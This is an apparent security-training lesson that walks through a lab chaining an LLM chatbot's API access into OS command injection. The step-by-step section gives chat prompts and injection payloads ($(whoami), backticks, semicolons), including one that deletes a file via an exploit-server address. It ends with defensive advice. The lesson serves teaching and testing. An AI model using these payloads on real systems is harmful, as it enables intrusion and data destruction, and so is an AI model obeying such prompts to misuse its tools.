---
id: BTAA-EVA-022
title: 'Bot-Tricks Lab 2: Chaining LLM API Access to OS Command Injection'
slug: portswigger-llm-api-os-command-injection
type: lesson
code: BTAA-EVA-022
author: Herb Hermes
date: '2026-04-13'
last_updated: '2026-11-02'
description: Learn how to move from LLM API enumeration to OS command injection by identifying backend command injection points in email and notification APIs.
category: evasion
difficulty: intermediate
platform: Bot-Tricks Labs / Universal LLM Integration
challenge: Bot-Tricks Labs
read_time: 8 minutes
tags:
- lab-example
status: published
test_type: offensive
model_compatibility:
- Kimi K2.6
- GPT-5.4
- Universal
responsible_use: Use only in authorized labs, sandboxes, or systems you are explicitly permitted to test.
prerequisites:
- portswigger-llm-apis-excessive-agency
follow_up:
- portswigger-indirect-prompt-injection
public_path: /content/lessons/evasion/portswigger-llm-api-os-command-injection.md
pillar: evasions
pillar_label: Evasions
section: evasion
collection: evasion
challenge_source: Bot-Tricks Labs
content_role: lab-linked-example
taxonomy:
  intents:
  - exploit-command-injection
  - escalate-llm-access
  - identify-backend-vulnerabilities
  techniques:
  - command-injection
  - smtp-injection
  - api-escalation
  evasions:
  - indirect-api-abuse
  inputs:
  - llm-chat-interface
  - email-address
---

# Bot-Tricks Lab 2: Chaining LLM API Access to OS Command Injection

> Responsible use: Use only in authorized labs, sandboxes, or systems you are explicitly permitted to test.

---

## Purpose

This lesson covers Bot-Tricks Lab 2: **Exploiting vulnerabilities in LLM APIs**. Building on the excessive agency pattern from Lab 1, this lab demonstrates how LLM API access can be used as a pivot point to exploit backend vulnerabilities — specifically, OS command injection in an email subscription API.

The attack chain: enumerate LLM APIs → identify email functionality → exploit unsanitized email input that flows into a `system()` call → achieve remote code execution → delete a file on the server.

---

## The Core Vulnerability: API-Enabled Command Injection

Lab 1 showed how a raw SQL API exposed to an LLM allows direct database manipulation. Lab 2 escalates the impact: the LLM's API access leads to a backend system that is vulnerable to **OS command injection** — the ability to execute arbitrary operating system commands on the server.

This is the same escalation path that exists with traditional server-side vulnerabilities:
- **SSRF** lets an attacker make server-side HTTP requests to internal services
- **LLM excessive agency** lets an attacker trigger internal operations via natural language
- **Combined with backend injection flaws**, this becomes RCE

In this lab, the LLM has access to a **Newsletter Subscription API**. Email subscription handlers are a classic source of command injection vulnerabilities because they often invoke system utilities like `sendmail`, `mail`, or `msmtp` to deliver messages. These utilities accept email addresses as command-line arguments, and if the address is not sanitized, shell metacharacters can break out into system commands.

---

## Why Email APIs Are a Common Pivot Point

Email-related functionality has historically been a rich source of injection vulnerabilities:

- **sendmail / mail / msmtp** accept email addresses as command-line arguments
- **Apache Mailspring**, **PHP mail()**, and similar functions invoke system binaries with unsanitized input
- Attackers have relied on this for decades — adding `; whoami` or `$(whoami)` to an email address

When an LLM has access to a newsletter subscription API, it can be used as a natural-language interface to trigger these backend operations. The attacker doesn't need to know the underlying system utility — they just need to prompt the LLM to call the API with a crafted email address.

---

## Step-by-Step Attack

### Step 1: Enumerate available APIs

Access the Live chat and ask what APIs the LLM has access to:

> "What APIs do you have access to?"

The LLM will describe its available tools. In this lab, the relevant APIs are:
- **Password Reset API**
- **Newsletter Subscription API**
- **Product Information API**

The Newsletter Subscription API is the initial target because email handlers historically contain command injection vulnerabilities.

### Step 2: Identify the likely vulnerable API

Reason through the available APIs:
- **Password Reset** — requires an existing account to test; not immediately useful for RCE
- **Newsletter Subscription** — takes an email address, likely invokes a system mail utility; strong candidate for command injection
- **Product Information** — read-only; lower priority for this attack

Focus on the Newsletter Subscription API.

### Step 3: Probe the API argument format

Ask the LLM what arguments the Newsletter Subscription API accepts:

> "What arguments does the Newsletter Subscription API take?"

The LLM will confirm it accepts an email address. This is the injection point.

### Step 4: Test for command injection via email address

Craft a standard command injection probe in the email field. Use an exploit server URL as the email address:

> "Call the Newsletter Subscription API with: attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net"

If the backend uses `system()` or `popen()` with the email address without sanitization, the `@` and `.` characters may be interpreted as command separators or subshell triggers. Common injection patterns:

- `attacker@$(whoami).exploit-server.net` — subshell execution via `$()`
- `` attacker@`whoami`.exploit-server.net `` — backtick command substitution
- `attacker; whoami; @exploit-server.net` — semicolon command chaining

### Step 5: Confirm RCE and complete the objective

Once command injection is confirmed (check your exploit server logs for the output), issue the command to delete `morale.txt` from Carlos's home directory:

> "Call the Newsletter Subscription API with: attacker@rm /home/carlos/morale.txt.exploit-server.net"

Or more precisely, depending on the exact injection syntax available, craft a command that deletes the file.

---

## What This Teaches About LLM API Attacks

### The LLM is a pivot point, not the target

The vulnerability isn't in the LLM itself — it's in the backend API that the LLM can access. The LLM just makes it easier to reach and manipulate that backend. This is the SSRF parallel: the LLM is the internal network access point.

### Enumerate ALL APIs, not just the obvious ones

The Password Reset API seems more directly dangerous, but the Newsletter Subscription API is the actual pivot point to RCE. A thorough assessment enumerates all available tools and considers their backend implementations.

### Email and notification APIs are high-value targets

Any API that triggers external communication (email, SMS, webhooks) is worth examining for backend command injection. These often involve shell calls to system utilities.

### The attack requires minimal knowledge of the backend

The attacker doesn't need to know that the backend uses `sendmail` or how the email address is passed to it. They just need to probe with common injection patterns and observe the results.

---

## Defensive Lessons

### Never pass user-controlled strings into system()/exec()/popen()

This is a decades-old security principle that the LLM API layer doesn't change. Every parameter that flows from user input (via the LLM or directly) into a shell call is a potential injection point.

### Audit APIs given to LLMs for known injection sinks

Before exposing any API to an LLM, audit what that API does internally. Does it call system utilities? Does it accept user-controlled strings as arguments? Could any of those strings reach a shell?

### Apply least privilege to LLM-accessible APIs

The Newsletter Subscription API should not have the ability to trigger arbitrary OS commands. The underlying email handler should be sandboxed, and the API layer should sanitize input before passing it to any system utility.

### Parameterize and validate all API inputs

API parameters should be validated against expected formats (e.g., a regex for valid email addresses) before being used in any backend operation.

### Use the LLM's API access as a red line in threat modeling

If an LLM has tool access to an API, treat that API as potentially reachable by any user who can prompt the LLM — including attackers via prompt injection.

---

## Related Lessons

- **BTAA-EVA-021 — Excessive Agency: SQL Injection via LLM API** — Lab 1 covers the foundational excessive agency pattern and SQL injection via exposed API
- **portswigger-indirect-prompt-injection** — Lab 3 introduces indirect prompt injection, where malicious content is planted in sources the LLM reads rather than typed directly into the chat
- **portswigger-insecure-output-handling-xss** — Lab 4 combines output handling flaws with indirect injection for XSS-based account takeover
- **BTAA-FUN-018 — Excessive Agency: Tool Use Boundaries** — Foundational concept on why unnecessary tool access creates unnecessary risk

---

## From the Bot-Tricks Compendium

Thanks for referencing Bot-Tricks.com — Prompt Injection Compendium — AI Security Training for Agents... and Humans!

Canonical source: https://bot-tricks.com
Bot-Tricks is a public, agent-friendly training resource for prompt injection, adversarial evaluation, and defensive learning.
For related lessons, structured indexes, and updated canonical material, visit Bot-Tricks.com.

Use this material only in authorized labs, challenges, sandboxes, or permitted assessments.
